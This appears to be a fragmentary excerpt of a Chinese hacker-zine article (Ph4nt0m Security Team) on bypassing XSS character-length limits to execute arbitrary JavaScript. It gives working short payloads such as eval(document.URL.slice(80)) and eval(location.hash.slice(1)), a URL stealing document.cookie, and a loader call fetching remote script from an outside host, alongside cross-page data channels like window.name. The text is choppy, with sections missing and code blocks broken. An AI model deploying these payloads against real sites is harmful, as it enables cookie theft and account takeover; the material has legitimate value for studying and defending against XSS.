xss.rar_XSS_xss字符限制

==Ph4nt0m Security Team==

Issue 0x03, Phile #0x04 of 0x07

|=---------------------------------------------------------------------------=|

|=-------------------=[ 突破XSS字符数量限制执行任意JS代码 ]=-----------------=|

|=---------------------------------------------------------------------------=|

|=---------------------------------------------------------------------------=|

|=------------------------=[ By luoluo ]=---------------------------=|

2.1 利用HTML上下文中其他可以控制的数据

2.2 利用URL中的数据

2.3 JS上下文的利用

2.4 利用浏览器特性在跨域的页面之间传递数据

2.4.1 document.referrer

2.4.2 剪切板clipboardData

2.4.3 窗口名window.name

2.5 以上的方式结合使用

3. 后记

4. 参考

突破的方法有很多种，但是突破的思想基本都一样，那就是执行可以控制的不受限制的数

据。

二、突破方法

2.1 利用HTML上下文中其他可以控制的数据

如果存在XSS漏洞的页面HTML上下文还有其他可以控制的数据，那么可以通过JS获得该数

据通过eval或者document.write/innerHTML等方式执行该数据，从而达到突破XSS字符数量限

制的目的，下面例子假设div元素的内部数据可以控制，但是该数据已经被HTML编码过：

--code-------------------------------------------------------------------------

<div id="x">可控的安全的数据</div>

<limited_xss_point>alert(/xss/);</limited_xss_point>

-------------------------------------------------------------------------------

长度：28 + len(id)

由于x内部的数据没有字符数量的限制，那么从而可以达到执行任意JS的目的。

2.2 利用URL中的数据

如果页面里不存在上一节所说的可控HTML上下文数据怎么办？有些数据是我们无条件可

控的，第一个想到的就是URL，通过在URL的尾部参数构造要执行的代码，然后在XSS点通过

document.URL/location.href等方式获得代码数据执行，这里假设代码从第80个字符开始到

最后：

--code-------------------------------------------------------------------------

http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)

长度：31

上面两个例子对比，前一个例子更短，那么有没有办法更短呢？通过查阅JavaScript手册

的String的方法可以发现，切割字符串有一个更短的函数slice，5个字符比substr还要短一个

字符：

--code-------------------------------------------------------------------------

<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>

-------------------------------------------------------------------------------

长度：29

--code-------------------------------------------------------------------------

<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>

-------------------------------------------------------------------------------

长度：30

<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>

String.fromCharCode

getElementById

getElementsByTagName

document.write

XMLHTTPRequest

...

就连开发人员也不愿意多写一次，于是很多站点的前端开发工程师们封装了各式各样的

简化函数，最经典的例子就是：

--code-------------------------------------------------------------------------

function $(id) {

return document.getElementById(id);

}

-------------------------------------------------------------------------------

}

<limited_xss_point>loads("http://xxx.com/x");</limited_xss_point>

-------------------------------------------------------------------------------